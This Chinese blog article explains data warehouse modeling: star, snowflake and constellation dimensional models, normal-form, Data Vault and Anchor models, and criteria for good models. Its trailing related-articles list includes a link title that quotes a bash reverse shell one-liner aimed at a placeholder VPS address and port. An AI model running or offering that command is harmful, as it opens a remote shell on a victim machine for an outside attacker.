一篇文章搞懂数据仓库:四种常见数据模型(维度模型、范式模型等)_维度表雪花模型_长弓霄
目录
写在前面
一、为什么要进行数据仓库建模?
二、四种常见模型
2.1 维度模型
2.1.1 星型模型
2.1.2 雪花模型
2.1.3 星座模型
2.2 范式模型
2.3 Data Vault模型
2.4 Anchor模型
三 数据模型的评价标准
写在前面
大数据时代,维度建模已成为各大厂的主流方式。
维度建模从分析决策的需求出发构建模型,为分析需求服务。重点关注用户如何快速的完成数据分析,可以直观的反应业务模型中的业务问题,需要大量的数据预处理、数据冗余,有较好的大规模复杂查询的响应性能。
系列文章详见「数仓系列文章- 传送门」
一、为什么要进行数据仓库建模?
性能:良好的模型能帮我们快速查询需要的数据,减少数据的IO吞吐
成本:减少数据冗余、计算结果复用、从而降低存储和计算成本
效率:改善用户使用数据的体验,提高使用数据的效率
改善统计口径的不一致性,减少数据计算错误的可能性
二、四种常见模型
2.1 维度模型
维度建模按数据组织类型划分可分为星型模型、雪花模型、星座模型。
Kimball老爷爷维度建模四个步骤:
选择业务处理过程 > 定义粒度 > 选择维度 > 确定事实
2.1.1 星型模型
星型模型主要是维表和事实表,以事实表为中心,所有维度直接关联在事实表上,呈星型分布。
2.1.2 雪花模型
雪花模型,在星型模型的基础上,维度表上又关联了其他维度表。这种模型维护成本高,性能方面也较差,所以一般不建议使用。尤其是基于hadoop体系构建数仓,减少join就是减少shuffle,性能差距会很大。
星型模型可以理解为,一个事实表关联多个维度表,雪花模型可以理解为一个事实表关联多个维度表,维度表再关联维度表。
2.1.3 星座模型
星座模型,是对星型模型的扩展延伸,多张事实表共享维度表。
星座模型是很多数据仓库的常态,因为很多数据仓库都是多个事实表的。所以星座模型只反映是否有多个事实表,他们之间是否共享一些维度表。
2.2 范式模型
即实体关系(ER)模型,数据仓库之父Immon提出的,从全企业的高度设计一个3NF模型,用实体加关系描述的数据模型描述企业业务架构,在范式理论上符合3NF。此建模方法,对建模人员的能力要求非常高。
特点:设计思路自上而下,适合上游基础数据存储,同一份数据只存储一份,没有数据冗余,方便解耦,易维护,缺点是开发周期一般比较长,维护成本高。
详见:一篇文章搞懂数据仓库:三范式与反范式_不吃西红柿-CSDN博客_数据仓库三范式
2.3 Data Vault模型
DataVault由Hub(关键核心业务实体)、Link(关系)、Satellite(实体属性) 三部分组成 ,是Dan Linstedt发起创建的一种模型方法论,它是在ER关系模型上的衍生,同时设计的出发点也是为了实现数据的整合,并非为数据决策分析直接使用。
2.4 Anchor模型
高度可扩展的模型,所有的扩展只是添加而不是修改,因此它将模型规范到6NF,基本变成了K-V结构模型。企业很少使用。
三 数据模型的评价标准
数据模型建设的怎么样,极度依赖规范设计,如果代码风格是“千人千面”,那么恐怕半年下来,业务系统就没法看了。没有什么比“数据系统”更看重“法制”了,规范体系不仅能保障数据建设的一致性,也能够应对业务交接的情况,更能够为自动化奠定基础。
业务过程清晰:ODS就是原始信息,不修改;DWD面向基础业务过程;DIM描述维度信息;DWS针对最小场景做指标计算;ADS也要分层,面向跨域的建设,和面向应用的建设;
指标可理解:按照一定业务事务过程进行业务划分,明细层粒度明确、历史数据可获取,汇总层维度和指标同名同义,能客观反映业务不同角度下的量化程度;
核心模型相对稳定:如果业务过程运行的比较久,过程相对固定,就要尽快下沉到公共层,形成可复用的核心模型;
高内聚低耦合:各主题内数据模型要业务高内聚,避免在一个模型耦合其他业务的指标,造成该模型主题不清晰和性价比低。
小编有话
在传统企业数仓中,业务相对稳定,以范式建模为主。 如电信、金融行业等
在互联网公司,业务变化快,需求来来回回的改,计算和存储也不是问题,我们更关心快速便捷的响应业务需求,所以以维度建模为主流。
相关文章
- 树莓派+Flask实现远程拍照WEB服务器_?VVcat?_树莓派flask
- 【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1_爬虫数据
- Django调用Nameko微服务使用简介_yangtom249_django nameko
- shell脚本-----99乘法表过程解析_会说话的手指_用shell脚本写九九乘法表
- 【翻译论文】Multispectral LiDAR Data for Land Cover Classification of Urban Areas(2017)_氧艺
- inductive learning和transductive learning最最简单易懂的解释 | 算法举例_我是女生,我不做程序媛_transductive和inductive区别
- 微信小程序开发之卡片分享_代码的灵魂是bug!_小程序自定义分享卡片
- Linux常用文件权限命令详解_万猫学社_linux 权限命令
- 学习LDA主题模型总结_LuoYaNiiii_lda主题分析
- 层次聚类的R语言实现(附代码)_Mrrunsen_r语言分层聚类分析
- 【论文笔记】Active Universal Domain Adaptation(ICCV 2021)_49号西瓜
- Shell编程规范及变量_Sq夏颜_shell 删除全局变量
- 使用Django-sslserver搭建https服务器和访问_你水喝多了_django-sslserver
- 在命令行中快速移动光标的快捷键_拉风小宇_光标移动快捷键
- Win10微信查看图片卡顿或发送图片卡顿的原因和解决方法_无枫丶_win10微信卡顿
- 通过聚类中心进行0-9数字语音识别(matlab)??基于K-means聚类_zz神君_数字语音识别